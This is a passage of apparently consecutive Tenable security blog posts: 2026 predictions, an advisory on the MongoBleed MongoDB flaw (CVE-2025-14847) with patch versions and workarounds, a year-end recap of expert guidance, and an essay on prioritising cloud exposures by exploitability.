“Automatic remediation, mobilization, and mitigation are no longer forbidden,” Tenable Chief Security Officer Robert Huber says. 

Embracing automation not just for detection, but for the actual fixing of problems, represents a major cultural change in cybersecurity, moving trust from human hands to automated systems.
 

Tenable Chief Security Officer Robert Huber

“For years, teams have been hesitant to automatically remediate, but I believe that to keep pace with the threat and expansion of the attack surface, teams will start to defy that long-held belief that automatic is forbidden,” he adds.

Prediction: In 2026, teams will rethink the tenet that automatic remediation is too risky to implement, as manual remediation proves unsustainable for most organizations that want to stay ahead of the curve and manage their cyber risk effectively without overwhelming their security pros.

3 - Cloud security focus shifts from runtime detection to prevention-first strategies

Is the industry finally moving past the idea that runtime detection is a silver bullet? We think so. Heading into 2026, security leaders are increasingly recognizing that many cloud breaches begin well before runtime, and will look to build a resilient defense via a broader, preemptive approach. 

“The 2025 hype that runtime detection is the only thing that matters and could replace posture or identity analysis will fade in 2026,” says Liat Hayun, Tenable Senior Vice President of Product Management and Research.
 

Liat Hayun, Tenable Senior Vice President of Product Management and Research

“Runtime-only tools miss most attack paths because identity abuse and misconfigurations occur long before anything reaches runtime. Runtime will remain important, but it won’t replace CNAPP or exposure management – it’ll be another data source inside a broader prevention-first approach,” she adds.

Prediction: The narrative that runtime detection can supersede identity and posture analysis will rapidly lose steam in 2026. Instead, runtime tools will function as a complementary data input, reinforcing a security architecture that is anchored on a CNAPP and an exposure management platform and that preemptively identifies and mitigates risks.

4 - Acceleration becomes the single biggest threat to your organization

Can your security team move faster than a lightning-quick AI-driven attack? In 2026, attack speed will become the greatest challenge for cyber defenders. As attackers leverage automation to compress the attack lifecycle, the window for effective response shrinks. 

“The who, what, how, and why of an attack don’t matter because AI-fueled attacks start and end before a ticket is even created,” Doerr says.
 

That’s why organizations must make it a priority to quickly set up preemptive security programs. Otherwise, they leave themselves exposed to cyber risks that traditional, reactive methods simply can’t mitigate. “Proactive defense makes speed obsolete,” he says.

Prediction: In 2026, AI-fueled acceleration will become adversaries’ primary weapon, rendering reactive security measures ineffective. In response, cyber teams must shift to proactive cyber prevention, which eliminates exposures before they can be exploited, neutralizing the speed advantage that AI provides to cyber criminals.

5 - CISOs will embrace AI security tools built in-house

As we move past the novelty phase of generative AI, 2026 will mark a shift toward the utility of agentic AI, and with it a growing appreciation for custom-made AI security tools tailored for an organization’s specific needs.

Complementing off-the-shelf AI products with tools built in-house will allow for more precise, effective security workflows and processes that can lessen the burden on overworked cyber pros.
 

“When implemented and designed with care, custom-made AI tools will transform security operations and alleviate pain points that lead to burnout,” Huber says.

Prediction: In 2026, rather than relying solely on commercial AI security tools, CISOs will direct their teams to build their own AI wares tailored to their organization's unique challenges. These customized AI tools will, in turn, sharpen their cybersecurity programs and lighten the workload on their staff.

6 - Non-human identities will become the top cloud breach vector

Machine identities now outnumber human users by many orders of magnitude. This explosion of non-human identities (NHIs) is creating a massive, stealthy attack surface. In 2026, these billions of service accounts, keys, and tokens are set to become the primary vector for cloud breaches.

“The core problem is no longer misconfigs or missing patches. It’ll be billions of unseen, over-permissioned machine identities that attackers – or autonomous agentic AI – will leverage for silent, undetectable lateral movement,” Hayun says.
 

“CISOs will be forced to pivot massive spending toward permissions governance and large-scale cleanup as machine-identity sprawl has rendered cloud environments truly unmanageable,” she adds.

Prediction: NHIs will decisively become the number one cloud breach vector in 2026, a trend driven by myriad machine identities with excessive privileges. As a result, CISOs will need to prioritize getting this vast landscape of machine identities under control by strengthening identity and access management (IAM) governance and execution.

A recently disclosed vulnerability affecting MongoDB instances has been reportedly exploited in the wild. Exploit code has been released for this flaw dubbed MongoBleed.

Key takeaways:

1. MongoBleed is a memory leak vulnerability affecting multiple versions of MongoDB.
    
2. Exploitation of MongoDB has been observed and exploit code is publicly available .
    
3. Immediate patching is recommended as the combination of public exploit code and a high number of potentially affected internet connected instances make this a flaw attackers will be targeting.

Background

On December 19, MongoDB issued a security advisory to address a vulnerability affecting the zlib implementation of MongoDB.

CVEDescriptionCVSSv3VPRCVE-2025-14847MongoDB Uninitialized Memory Leak Vulnerability (“MongoBleed”)7.58.0

*Please note: Tenable’s Vulnerability Priority Rating (VPR) scores are calculated nightly. This blog post was published on December 29 and reflects VPR at that time.

Analysis

CVE-2025-14847 is a memory leak vulnerability affecting MongoDB instances in which zlib compression is enabled. A flaw in how MongoDB implements zlib decompression could allow unauthenticated attackers to leak uninitialized memory, which can contain sensitive data including credentials, session tokens and API keys. This flaw was dubbed “MongoBleed” by Elastic Security researcher Joe Desimone, who published a proof-of-concept demonstrating the vulnerability. While exploitation does require zlib compression to be enabled and a vulnerable MongoDB version to be internet exposed, reports of in the wild exploitation have already begun.

According to Censys, there are over 87,000 potentially vulnerable instances of MongoDB that have been identified, with the largest concentration being found in the United States.

Source: Censys

Proof of concept

On December 25, a public proof-of-concept (PoC) was released on GitHub. This PoC demonstrates how data can be leaked from uninitialized memory. According to the PoC details, the following data could be leaked:

• MongoDB internal logs and state
• WiredTiger storage engine configuration
• System /proc data (meminfo, network stats)
• Docker container paths
• Connection UUIDs and client IPs

Solution

MongoDB has released patches to address this vulnerability as outlined in the table below:

Affected VersionFixed VersionMongoDB Server v3.6 (All Versions)Upgrade to MongoDB 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30 or laterMongoDB Server v4.0 (All Versions)Upgrade to MongoDB 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30 or laterMongoDB Server v4.2 (All Versions)Upgrade to MongoDB 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30 or laterMongoDB 4.4.0 through 4.4.29Upgrade to MongoDB 4.4.30 or laterMongoDB 5.0.0 through 5.0.31Upgrade to MongoDB 5.0.32 or laterMongoDB 6.0.0 through 6.0.26Upgrade to MongoDB 6.0.27 or laterMongoDB 7.0.0 through 7.0.26Upgrade to MongoDB 7.0.28 or laterMongoDB 8.0.0 through 8.0.16Upgrade to MongoDB 8.0.17 or laterMongoDB 8.2.0 through 8.2.2Upgrade to MongoDB 8.2.3 or later

According to the MongoDB security advisory, if immediate patching is not able to be performed, the workaround suggestion is to disable zlib compression. In addition, we recommend that you limit network access to MongoDB instances to trusted IP addresses only. While this step was not outlined in the advisory, it has been recommended as a security best practice by MongoDB.

Identifying affected systems

A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2025-14847 as they’re released. This link will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Tenable Attack Surface Management customers are able to identify assets running MongoDB services by using the filter 'Services contains mongod' as shown in the screenshot below:

 Get more information

• MongoDB Security Advisory
• Censys: MongoBleed - Critical MongoDB Uninitialized Memory Disclosure Vulnerability [CVE-2025-14847]

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

In this special year-end edition, we revisit critical advice from our cybersecurity experts on AI, exposure management, cloud, vulnerability management, OT, and critical infrastructure.

Key takeaways

1. Combating AI threats: Counter autonomous agentic AI attacks and shadow usage by enforcing strict governance and elevating basic cyber hygiene to prevent massive-scale breaches.
2. Adopting exposure management: Align security with business objectives by adopting a unified exposure management program to preemptively prioritize and remediate the most critical threats first.
3. Securing cloud and critical infrastructure: Reduce attack surfaces by rigorously managing identities to stop "permission creep," implementing just-in-time (JIT) access, and maintaining precise asset inventories.

In case you missed it, we’re recapping standout guidance from Tenable experts to help you with agentic AI attacks, overprivileged identities, risk-based metrics, OT inventories, vulnerability prioritization, and geopolitical threats.

1 - Defending against agentic AI and managing shadow AI risks

The emergence of agentic AI tools that act autonomously has shifted the threat landscape. Here is how Tenable experts addressed security and governance in this new era.

In "Agentic AI Security: Keep Your Cyber Hygiene Failures from Becoming a Global Breach," Tenable Chief Security Officer Robert Huber warns that the weaponization of legitimate agentic AI coding tools, such as Anthropic's Claude Code, "proves that neglecting fundamental cyber hygiene allows malicious AI to execute massive-scale attacks with unprecedented speed and low skill."

The good news is that even AI-powered attacks can’t succeed if you’ve closed your most critical exposures, impeding lateral movement and privilege escalation. “Elevating the standard of basic security hygiene is essential for our collective defense,” he wrote.

Blake Kizer recommends in "A Practical Defense Against AI-led Attacks" a unified, preemptive and predictive exposure management program rooted in security fundamentals. By defining the new AI attack surface and fighting AI with AI, “the winner will be the team that builds the best partnership between human intuition and algorithmic speed,” writes Kizer, a Staff Information Security Engineer at Tenable.

Meanwhile, in "FAQ About Model Context Protocol (MCP) and Integrating with AI for Agentic Applications," Chad Streck notes that while MCP standardizes connecting data to large language models (LLMs), it raises security concerns developers must address.

How MCP Works

(Source: Tenable, April 2025)

Streck, a Staff Research Engineer at Tenable, recommends:

• Detecting and inventorying your MCP installations and configurations
• Controlling access and monitoring the resources MCP servers tap
• Training staff on secure MCP usage

Meanwhile, in "Security for AI: How Shadow AI, Platform Risks, and Data Leakage Leave Your Organization Exposed," Damien Lim, a Senior Product Marketing Manager at Tenable, tackles the dangers of employees’ AI usage: shadow AI; the risks from approved AI tools; and the potential exposure of sensitive information. 

To mitigate the risk of employees exposing sensitive data, Lim advises benchmarking your organization against best practices outlined in "Security for AI: A Practical Guide to Enforcing Your AI Acceptable Use Policy," including:

• List approved and prohibited tools.
• Create data privacy and security guidelines.
• Categorize AI use into Permitted, Prohibited, and Controlled.

2 - Tackling cloud permission creep and exposed secrets

Is your cloud environment suffering from excessive access rights? Tenable experts emphasize rigorous hygiene and identity governance.

In "Don’t Let Your Cloud Security Catch a Bad Case of Permission Creep," Thomas Nuth warns that over-privileged identities create attacker pathways. 
 

Nuth, Head of Cloud Product Marketing at Tenable, suggests automating least privilege enforcement via a CNAPP integrated with an exposure management platform that combines:

• Identity discovery
• Contextual risk correlation and prioritization
• Automated detection and remediation of excessive permissions

One effective method to combat overprivileged identities is via just-in-time (JIT) access. Xavier Allan, Senior Cloud Security Engineer at Tenable, explores this strategy in "How To Implement Just-In-Time Access: Best Practices and Lessons Learned." Allan notes that with JIT, "privileges are granted temporarily on an as-needed basis," which reduces static entitlements and lowers the risk of compromised accounts.

Based on Tenable’s internal JIT adoption, Allan offers tips including:

• Communicate continuously during the transition.
• Help teams feel comfortable with the JIT process before and during the migration.
• Educate teams on JIT capabilities to drive adoption.

However, identity is only part of the equation; digital debris also poses a significant risk. In "How To Clean Up Your Cloud Environment Using Tenable Cloud Security," Stephanie Dunn, Staff Cloud Security Engineer at Tenable, points out that old and unused cloud resources create risks.

To clean up your cloud environment, Dunn recommends determining:

• The age of your resources
• Active and inactive cloud accounts
• Users’ cloud account access
• Public-facing cloud resources
• Resources types and accessed data 

Finally, Ryan Bragg addresses the hidden dangers of credentials in "Secrets at Risk: How Misconfigurations and Mistakes Expose Critical Credentials." Bragg writes that "poor secrets management" undermines security by exposing API keys, tokens, access keys and even login credentials.

Bragg, a Senior Cloud Security Solutions Engineer at Tenable, offers best practices to protect secrets, including:

• Map where secrets reside and implement controls.
• Avoid using long-term credentials, such as passwords and keys.
• Implement lifecycle policies to regularly rotate secrets.
• Don’t hardcode secrets in bootstrap scripts, environment variables, and tags.

3 - Shifting to exposure management

One thing is clear: Exposure management is the key for successfully protecting your organization against today’s relentless and evolving cyber threats. By going beyond traditional vulnerability management, a true exposure management platform like Tenable One helps you preemptively pinpoint, prioritize and close your most critical exposures while shrinking your hybrid attack surface.

As an exposure management pioneer and leader, Tenable is at the forefront of this approach to cybersecurity. Through our Exposure Management Academy, we constantly share practical guidance, case studies and peer insights to help you on your exposure management journey.
 

In a two-part series, Tenable CSO Robert Huber outlines his own team's evolution. In "How Tenable Moved From Siloed Security to Exposure Management," Huber explains the move away from fragmented security practices. He follows up in "How Exposure Management Has Helped Tenable Reduce Risk and Align with the Business" by detailing how this shift helps reduce risk and better align with the business.

“Our goal is to uplevel all our conversations to align with the business, demonstrating the impact of security on revenue, services and overall business objectives,” Huber writes. “More than a mere buzzword, exposure management is a necessary evolution of how organizations approach cybersecurity.”

Understanding peer perspectives is also crucial. In "How Top CISOs Approach Exposure Management in the Context of Managing Cyber Risk," Huber cites reports from the new Exposure Management Leadership Council, a CISO working group sponsored by Tenable.
 

“Council members see the potential for exposure management to help them create a standardized, repeatable and defensible process for measuring and reporting on risk,” Huber writes.

Budgeting for this transition is another common hurdle. Discussing a study conducted by Enterprise Strategy Group in partnership with Tenable, Hadar Landau, a Product Marketing Manager at Tenable, notes in "How to Future-Proof Your Cybersecurity Spend" that "complexity is driving a growing number of organizations to increase their exposure management budgets."

Landau outlines five keys to future-proof your exposure management spend:

• A unified platform for ecosystem-wide data ingestion
• Visibility into AI system usage
• Automated prioritization of high impact risks
• Identification of toxic risk combinations
• Maximizing the value of existing security investments 

In "How to Use Risk-Based Metrics in an Exposure Management Program," Tenable Information Security Engineers Arnie Cabral and Jason Schavel say metrics are fundamental to each stage of the exposure management lifecycle.

Specifically, they say that risk-based metrics provide:

• The context to understand scan tools’ raw data
• An objective basis for exposure prioritization
• Validation on success and risk reduction
• Clear reporting to mobilize teams and secure resources

4 - Enhancing OT security with identity and inventory

Can you secure your critical infrastructure against sophisticated threats without grinding operations to a halt? As Tenable experts explain, securing operational technology (OT) without disrupting production requires preemptive remediation and identity security.

In "How to Remediate Risk to Critical OT/IoT Systems without Disrupting Operations," Meir Asiskovich, Tenable’s Senior Director of Product Management for Tenable OT Security, argues that adopting a proactive approach allows teams to "reduce risk and eliminate downtime" simultaneously. You also need an exposure management program.

“By unifying data from IT, OT, IoT, cloud and identities, we’re able to deliver a seamless workflow, complete asset inventory and context-aware prioritization that legacy OT security tools and point solutions can’t match,” Meir writes.

In "Identity Security Is the Missing Link To Combatting Advanced OT Threats," Chris Baker, OT Security Sales Manager at Tenable, warns that attackers use living-off-the-land (LotL) techniques that "exploit identity vulnerabilities to infiltrate critical infrastructure." Integrating identity security with unified exposure management is essential to detect these subtle intrusions.

He outlines key aspects of an effective OT security program, including:

• Understanding your assets
• Monitoring for anomalies
• Limiting privilege escalation
• Hardening Active Directory
• Identifying attack paths

In "How to Apply CISA’s OT Inventory and Taxonomy Guidance for Owners and Operators Using Tenable," we break down federal recommendations, underscoring how a detailed asset inventory and taxonomy are "not only the foundation of a defensible security posture, they’re also essential for resilient operations."

CISA offers a systematic process to develop and maintain a record of your organization’s OT assets, as illustrated below.
 

Source: U.S. Cybersecurity and Infrastructure Security Agency (CISA), Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators, August 2025

5 - Improving vulnerability management with better visibility, prioritization and automation

In 2025, as the speed of vulnerability exploitation grew, Tenable looked at the critical stages of the vulnerability lifecycle, from closing disclosure gaps to automating remediation.

In "Why Early Visibility Matters: Risk Lurks in the Vulnerability Disclosure Gaps," Lucas Tamagna-Darr highlights the importance of having timely information about vulnerabilities and the risk they present.

“Because Tenable drives its coverage directly from vendor advisories, a majority of our coverage is available within 12-24 hours of the initial disclosure of a vulnerability,” writes Tamagna-Darr, Senior Director of Engineering and Research Solutions Architect at Tenable.

Damien McParland discusses the evolution of prioritization in "Narrowing the Focus: Enhancements to Tenable VPR and How It Compares to Other Prioritization Models." McParland explains how updates to Tenable’s Vulnerability Priority Rating (VPR), including enriched threat intelligence, AI-driven insights and explainability, and contextual metadata, have further boosted VPR’s prioritization efficiency.
 

The VPR enhancements make it “twice as efficient as the original version at identifying CVEs that are currently being exploited in the wild or are likely to be exploited in the near term,” writes McParland, Staff Data Scientist at Tenable,

Finally, effective prioritization must lead to rapid action. Allison Eguchi addresses the challenges of remediation in "Stop Patching Panic: Ditch Slow Manual Patching and Embrace Intelligent Automation." Eguchi, a Tenable Product Marketing Manager, warns that "manual patching leaves your organization exposed" and highlights how Tenable Patch Management offers customizable rules and guardrails to automate updates without causing business disruption.

6 - Managing geopolitical cyber risks and federal cloud modernization

Does it feel like your organization’s threat landscape shifts every time a new headline breaks on the world stage? It’s a topic Tenable experts have unpacked, looking at how global instability and federal modernization mandates are reshaping the responsibilities of security leaders.

James Hayes addresses the fatigue many defenders are experiencing in "Geopolitics Just Cranked Up Your Threat Model, Again. Here’s What Cyber Pros Need to Know." Hayes, Senior Vice President of Global Government Affairs at Tenable, writes: "If it feels like your entire cybersecurity program is once again operating on a geopolitical fault line, you're not imagining things."

His recommendations for cybersecurity teams include:

• Build geopolitical risk into your threat models.
• Pressure-test your supply chain visibility.
• Track policy shifts like you would threat intel.
• Advocate for the resources you need.
• Routinely assess your posture management.
• Take a proactive stance.

In "Navigating a Heightened Cyber Threat Landscape: Military Conflict Increases Attack Risks," Tenable CSO Robert Huber argues that the "current geopolitical climate demands a proactive, comprehensive approach to cybersecurity" rather than a reactive stance.

To strengthen your cyber defenses in this heightened threat environment, Huber’s recommendations include:

• Use strong passwords and enforce a strong password policy
• Change default passwords, especially on OT hardware
• Scan for and patch vulnerabilities in assets exposed to the internet
• Enable multi-factor authentication (MFA)
• Identify and prioritize your most valuable assets for remediation
• Develop a remediation plan and continue to test and improve it

Meanwhile, the federal government faces its own specific hurdles when adopting cloud computing. In "Securing Federal Cloud Environments: Overcoming 5 Key Challenges with Tenable," Huber explains how Tenable Cloud Security helps federal agencies overcome these obstacles:

• Limited visibility across complex cloud environments
• Identity and access complexity
• Operational complexity and tool sprawl
• Rapidly evolving threats and new attack vectors
• Misconfigurations and compliance gaps

Prioritizing what to fix first and why that really matters

Key takeaways

1. The 97% distraction: Discover why the vast majority of your "Critical" alerts are just theoretical noise, and how focusing strictly on the 3% of findings that represent real, exploitable risk can drastically improve your security posture.
2. Identity is the accelerant: Breaches rarely happen in isolation. Learn how "toxic combinations" — the critical intersection of vulnerability, misconfiguration, and privileged identity – can turn individual flaws into major attack paths that lead to breaches, and why traditional risk scoring misses them entirely.
3. Context is the cure: Stop drowning in volume and start leveraging value. See how shifting from conventional scanning to exposure management allows you to escape "alert fatigue" in the cloud and fix attack paths without touching code, while remediating issues at the source.

The fundamental promise of the cloud is speed and scale. Yet, for security teams, that scale has become the primary adversary. We are currently operating in a cloud security paradox: Organizations have deployed more scanning tools than ever before, yet they have never had less clarity on their actual risk posture.

The industry standard has been to rely on volume as a metric of success. How many issues did we discover? How many did we patch? But in a modern cloud environment, volume is not a metric; it is a liability. When security teams are flooded with thousands of "Critical" alerts based on theoretical severity, they are forced into a reactive posture. Vulnerability teams are all too familiar with this scenario. 

The data reveals a stark inefficiency: While legacy tools flag nearly 60% of vulnerabilities as 'High' or 'Critical,' Tenable Research shows that only about 1.6% to 3% represent real, exploitable business risk. This forces teams to spend the vast majority of their time chasing noise rather than risk.

To mature your cloud security program, you must stop prioritizing based on severity and start prioritizing based on exploitability. It is time to transition from vulnerability management to exposure management.

The operational cost of theoretical risk

The Common Vulnerability Scoring System (CVSS) has been the default standard for prioritization. However, CVSS lacks the necessary business context to be effective in all domains, particularly the cloud. CVSS measures the severity of a software bug in a vacuum. It does not account for the context of the asset. Is it public? Is it privileged? Is it accessing sensitive data?

If your team is working down a list sorted solely by CVSS, they are wasting valuable cycle time on theoretical flaws while genuine attack paths remain open. The goal is not to fix more; the goal is to fix what matters. As the saying goes: “When everything is important, nothing is important.”

Toxic combinations: Defining true risk

In modern security, essentially every breach is an identity breach. While a misconfiguration or a vulnerability might provide the initial foothold, it is the identity, and specifically its entitlements and privileges, that allows a security incident to go from "bad" to "worse."

Breaches rarely happen in isolation. They occur at the precise intersection of public exposure, vulnerability, and privileged identity. This convergence, the toxic combination, creates the perfect storm for attackers.

Correlating these factors is notoriously difficult because the data often lives in silos: vulnerability data in one tool, IAM data in another, and network exposure in a third. The demand on security teams today is to bridge these gaps, turning raw data into context, into clear insight, into action.

True risk is defined by the convergence of these three factors, which attackers relish:

• Public exposure: The asset is accessible from the internet.
• Critical vulnerability: The software contains a known, exploitable flaw.
• High privilege or entitlement: The associated identity has broad permissions (e.g., Admin or Root).

In toxic combinations, vulnerability often opens the door, but high privilege hands the attacker the keys to the kingdom. Despite the clear danger, nearly 29% of organizations currently have at least one workload operating with this exact setup in place, according to the Tenable Cloud Security Risk Report 2025.

These combinations are the primary targets for threat actors because they offer a direct path to data exfiltration, ransomware, or other malicious impacts. Identifying and remediating these specific intersections, rather than chasing a generic list of CVEs, is the difference between "busy work" and actual risk reduction by addressing your exposure. 

The Jenga®  Effect: Inherited risk in AI and identity

The challenge of prioritization is compounded by the rapid adoption of AI and the layered nature of cloud services, which Tenable Cloud Research has dubbed the "Jenga effect.”

When deploying AI workloads, organizations often inherit risky default configurations from providers. For instance, 90.5% of organizations that have configured Amazon SageMaker have root access enabled by default in at least one notebook instance, according to the Tenable Cloud AI Risk Report 2025. If the foundational block of your stack is insecure, the entire workload is compromised.

Furthermore, identity has become the prime target and goal of attackers. You can patch every piece of software in your environment, but if an attacker compromises an over-privileged identity, they do not need an exploit. They simply log in. With 84% of organizations possessing unused or longstanding access keys with critical permissions, a finding from Tenable Cloud Research Report 2024, identity security posture management is no longer optional.

A mature exposure management strategy must treat identity risks and AI misconfigurations with the same urgency as software vulnerabilities.

Operationalizing exposure management

To close the efficiency gap seen in the cloud, security leaders must adopt a cloud native application protection platform (CNAPP) that unifies visibility and forces prioritization based on context.

Here is how to shift your operating model:

1. Maintain momentum (The 5-minute audit)

Paralysis is the enemy of security. When faced with a mountain of alerts, teams often freeze. Tenable Cloud Security breaks this paralysis with the "If you only have 5 minutes" widget. This feature isn't about deep forensic analysis; it is about hygiene and momentum. It identifies the immediate, obvious "quick wins," like a publicly exposed S3 bucket or an inactive key that you can fix right now. This ensures that even on your busiest days, you are fixing something versus nothing. It keeps the "hygiene debt" from piling up while you prepare for deeper work. This is a great place for security to focus junior level employees.

2. Attack the toxic combinations

Once the quick wins are handled, shift your focus to the strategic risks. This is where you target those toxic combinations. This is where you apply your best resources. By correlating identity, network, and vulnerability data, you identify the 3% of alerts that could lead to a devastating breach. Remediating these exposures creates the measurable drop in organizational risk that you can report to the board.

3. Shift remediation to the source

"ClickOps," the practice of manually fixing settings in the cloud console, is inefficient and temporary. The next deployment often overwrites the fix.

Mature organizations integrate security into the development lifecycle. Tenable Cloud Security traces runtime issues back to the specific Infrastructure as Code (IaC) that created them. It can then automatically generate a pull request with the necessary code changes.

This applies equally to identity. Instead of estimating permissions, the platform analyzes actual usage behavior to generate least privilege policies that strip away unused access automatically.

Conclusion: Value-based security

The metric for a successful cloud security program is no longer "number of alerts closed." It is the measurable reduction of exposure.

We cannot scale our teams to match the growth of the cloud, but we can scale our intelligence. By leveraging context to identify the 3% of exposures that create business risk, you move your organization from a posture of reacting to noise to proactively prioritizing and remediating exposures.

See it in action

The short demo below walks you through a real cloud AI environment and shows how Tenable identifies workloads, reveals hidden risks and highlights the issues that matter most.

It is a quick, straightforward look at exposure management giving you an actual feel for real world use.

 

Learn more about how to prioritize cloud risk based on what really matters.

(Jenga® is a registered trademark owned by Pokonobe Associates.)